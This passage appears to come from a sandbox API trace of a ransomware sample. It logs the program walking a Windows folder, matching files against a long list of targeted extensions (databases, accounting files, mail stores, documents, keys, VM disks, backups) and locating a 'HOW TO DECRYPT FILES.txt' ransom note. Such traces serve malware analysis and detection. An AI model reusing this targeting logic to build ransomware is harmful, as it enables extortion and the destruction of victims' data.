0 [0058.712] lstrlenA (lpString="*.mdb") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.fdb") returned 0 [0058.712] lstrlenA (lpString="*.fdb") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.wab") returned 0 [0058.712] lstrlenA (lpString="*.wab") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.dat") returned 0 [0058.712] lstrlenA (lpString="*.dat") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.txt") returned 0 [0058.712] lstrlenA (lpString="*.txt") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.jpeg") returned 0 [0058.712] lstrlenA (lpString="*.jpeg") returned 6 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.jpg") returned 0 [0058.712] lstrlenA (lpString="*.jpg") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.png") returned 0 [0058.712] lstrlenA (lpString="*.png") returned 5 [0058.712] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.php") returned 0 [0058.713] lstrlenA (lpString="*.php") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.cs") returned 0 [0058.713] lstrlenA (lpString="*.cs") returned 4 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.cpp") returned 0 [0058.713] lstrlenA (lpString="*.cpp") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.rar") returned 0 [0058.713] lstrlenA (lpString="*.rar") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.zip") returned 0 [0058.713] lstrlenA (lpString="*.zip") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.html") returned 0 [0058.713] lstrlenA (lpString="*.html") returned 6 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.htm") returned 0 [0058.713] lstrlenA (lpString="*.htm") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.xlsx") returned 0 [0058.713] lstrlenA (lpString="*.xlsx") returned 6 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.xls") returned 0 [0058.713] lstrlenA (lpString="*.xls") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mp4") returned 0 [0058.713] lstrlenA (lpString="*.mp4") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.ppt") returned 0 [0058.713] lstrlenA (lpString="*.ppt") returned 5 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.pptx") returned 0 [0058.713] lstrlenA (lpString="*.pptx") returned 6 [0058.713] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.doc") returned 0 [0058.713] lstrlenA (lpString="*.doc") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.dot") returned 0 [0058.714] lstrlenA (lpString="*.dot") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.docx") returned 0 [0058.714] lstrlenA (lpString="*.docx") returned 6 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.7z") returned 0 [0058.714] lstrlenA (lpString="*.7z") returned 4 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.tar") returned 0 [0058.714] lstrlenA (lpString="*.tar") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.bz2") returned 0 [0058.714] lstrlenA (lpString="*.bz2") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.gz") returned 0 [0058.714] lstrlenA (lpString="*.gz") returned 4 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mkv") returned 0 [0058.714] lstrlenA (lpString="*.mkv") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.eml") returned 0 [0058.714] lstrlenA (lpString="*.eml") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.msg") returned 0 [0058.714] lstrlenA (lpString="*.msg") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.edb") returned 0 [0058.714] lstrlenA (lpString="*.edb") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.accdb") returned 0 [0058.714] lstrlenA (lpString="*.accdb") returned 7 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.odb") returned 0 [0058.714] lstrlenA (lpString="*.odb") returned 5 [0058.714] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.java") returned 0 [0058.714] lstrlenA (lpString="*.java") returned 6 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.asm") returned 0 [0058.715] lstrlenA (lpString="*.asm") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.pfx") returned 0 [0058.715] lstrlenA (lpString="*.pfx") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.pem") returned 0 [0058.715] lstrlenA (lpString="*.pem") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.p12") returned 0 [0058.715] lstrlenA (lpString="*.p12") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.gpg") returned 0 [0058.715] lstrlenA (lpString="*.gpg") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.vsd") returned 0 [0058.715] lstrlenA (lpString="*.vsd") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.odg") returned 0 [0058.715] lstrlenA (lpString="*.odg") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.raw") returned 0 [0058.715] lstrlenA (lpString="*.raw") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.nef") returned 0 [0058.715] lstrlenA (lpString="*.nef") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.svg") returned 0 [0058.715] lstrlenA (lpString="*.svg") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.psd") returned 0 [0058.715] lstrlenA (lpString="*.psd") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.vmx") returned 0 [0058.715] lstrlenA (lpString="*.vmx") returned 5 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.vmdk") returned 0 [0058.715] lstrlenA (lpString="*.vmdk") returned 6 [0058.715] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.vdi") returned 0 [0058.716] lstrlenA (lpString="*.vdi") returned 5 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.lay6") returned 0 [0058.716] lstrlenA (lpString="*.lay6") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mpeg") returned 0 [0058.716] lstrlenA (lpString="*.mpeg") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.djvu") returned 0 [0058.716] lstrlenA (lpString="*.djvu") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.tiff") returned 0 [0058.716] lstrlenA (lpString="*.tiff") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.backup") returned 0 [0058.716] lstrlenA (lpString="*.backup") returned 8 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.pdf") returned 0 [0058.716] lstrlenA (lpString="*.pdf") returned 5 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.cert") returned 0 [0058.716] lstrlenA (lpString="*.cert") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.docm") returned 0 [0058.716] lstrlenA (lpString="*.docm") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.xlsm") returned 0 [0058.716] lstrlenA (lpString="*.xlsm") returned 6 [0058.716] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.dwg") returned 0 [0058.717] lstrlenA (lpString="*.dwg") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.nd") returned 0 [0058.717] lstrlenA (lpString="*.nd") returned 4 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.tlg") returned 0 [0058.717] lstrlenA (lpString="*.tlg") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.lgb") returned 0 [0058.717] lstrlenA (lpString="*.lgb") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mov") returned 0 [0058.717] lstrlenA (lpString="*.mov") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.xdw") returned 0 [0058.717] lstrlenA (lpString="*.xdw") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.ods") returned 0 [0058.717] lstrlenA (lpString="*.ods") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.wav") returned 0 [0058.717] lstrlenA (lpString="*.wav") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.mp3") returned 0 [0058.717] lstrlenA (lpString="*.mp3") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.aiff") returned 0 [0058.717] lstrlenA (lpString="*.aiff") returned 6 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.flac") returned 0 [0058.717] lstrlenA (lpString="*.flac") returned 6 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.m4a") returned 0 [0058.717] lstrlenA (lpString="*.m4a") returned 5 [0058.717] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL", pszSpec="*.csv") returned 0 [0058.717] lstrlenA (lpString="*.csv") returned 5 [0058.717] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0058.718] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.718] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSTAG.TLB") returned -1 [0058.718] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSTAG.TLB") returned -1 [0058.718] lstrcmpiA (lpString1="", lpString2="MSTAG.TLB") returned -1 [0058.718] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned="MOFL.DLL" [0058.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.718] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.718] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.718] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.718] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="MSTAG.TLB" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" [0058.718] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.ems") returned 0 [0058.718] lstrlenA (lpString="*.ems") returned 5 [0058.718] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.db") returned 0 [0058.718] lstrlenA (lpString="*.db") returned 4 [0058.718] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.dbf") returned 0 [0058.718] lstrlenA (lpString="*.dbf") returned 5 [0058.718] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.myox") returned 0 [0058.719] lstrlenA (lpString="*.myox") returned 6 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.myo") returned 0 [0058.719] lstrlenA (lpString="*.myo") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbw") returned 0 [0058.719] lstrlenA (lpString="*.qbw") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbb") returned 0 [0058.719] lstrlenA (lpString="*.qbb") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbm") returned 0 [0058.719] lstrlenA (lpString="*.qbm") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbo") returned 0 [0058.719] lstrlenA (lpString="*.qbo") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbx") returned 0 [0058.719] lstrlenA (lpString="*.qbx") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qba") returned 0 [0058.719] lstrlenA (lpString="*.qba") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qby") returned 0 [0058.719] lstrlenA (lpString="*.qby") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qbj") returned 0 [0058.719] lstrlenA (lpString="*.qbj") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.ofx") returned 0 [0058.719] lstrlenA (lpString="*.ofx") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.qif") returned 0 [0058.719] lstrlenA (lpString="*.qif") returned 5 [0058.719] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mye") returned 0 [0058.719] lstrlenA (lpString="*.mye") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mbox") returned 0 [0058.720] lstrlenA (lpString="*.mbox") returned 6 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.eml") returned 0 [0058.720] lstrlenA (lpString="*.eml") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.pst") returned 0 [0058.720] lstrlenA (lpString="*.pst") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.ost") returned 0 [0058.720] lstrlenA (lpString="*.ost") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.idx") returned 0 [0058.720] lstrlenA (lpString="*.idx") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.dbx") returned 0 [0058.720] lstrlenA (lpString="*.dbx") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.sql") returned 0 [0058.720] lstrlenA (lpString="*.sql") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mdb") returned 0 [0058.720] lstrlenA (lpString="*.mdb") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.fdb") returned 0 [0058.720] lstrlenA (lpString="*.fdb") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.wab") returned 0 [0058.720] lstrlenA (lpString="*.wab") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.dat") returned 0 [0058.720] lstrlenA (lpString="*.dat") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.txt") returned 0 [0058.720] lstrlenA (lpString="*.txt") returned 5 [0058.720] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.jpeg") returned 0 [0058.720] lstrlenA (lpString="*.jpeg") returned 6 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.jpg") returned 0 [0058.721] lstrlenA (lpString="*.jpg") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.png") returned 0 [0058.721] lstrlenA (lpString="*.png") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.php") returned 0 [0058.721] lstrlenA (lpString="*.php") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.cs") returned 0 [0058.721] lstrlenA (lpString="*.cs") returned 4 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.cpp") returned 0 [0058.721] lstrlenA (lpString="*.cpp") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.rar") returned 0 [0058.721] lstrlenA (lpString="*.rar") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.zip") returned 0 [0058.721] lstrlenA (lpString="*.zip") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.html") returned 0 [0058.721] lstrlenA (lpString="*.html") returned 6 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.htm") returned 0 [0058.721] lstrlenA (lpString="*.htm") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.xlsx") returned 0 [0058.721] lstrlenA (lpString="*.xlsx") returned 6 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.xls") returned 0 [0058.721] lstrlenA (lpString="*.xls") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mp4") returned 0 [0058.721] lstrlenA (lpString="*.mp4") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.ppt") returned 0 [0058.721] lstrlenA (lpString="*.ppt") returned 5 [0058.721] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.pptx") returned 0 [0058.722] lstrlenA (lpString="*.pptx") returned 6 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.doc") returned 0 [0058.722] lstrlenA (lpString="*.doc") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.dot") returned 0 [0058.722] lstrlenA (lpString="*.dot") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.docx") returned 0 [0058.722] lstrlenA (lpString="*.docx") returned 6 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.7z") returned 0 [0058.722] lstrlenA (lpString="*.7z") returned 4 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.tar") returned 0 [0058.722] lstrlenA (lpString="*.tar") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.bz2") returned 0 [0058.722] lstrlenA (lpString="*.bz2") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.gz") returned 0 [0058.722] lstrlenA (lpString="*.gz") returned 4 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.mkv") returned 0 [0058.722] lstrlenA (lpString="*.mkv") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.eml") returned 0 [0058.722] lstrlenA (lpString="*.eml") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.msg") returned 0 [0058.722] lstrlenA (lpString="*.msg") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.edb") returned 0 [0058.722] lstrlenA (lpString="*.edb") returned 5 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.accdb") returned 0 [0058.722] lstrlenA (lpString="*.accdb") returned 7 [0058.722] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", pszSpec="*.odb") returned 0 [0058.722] lstrlenA (lpString="*.odb") returned 5 [0058.723] PathMatchSpecA 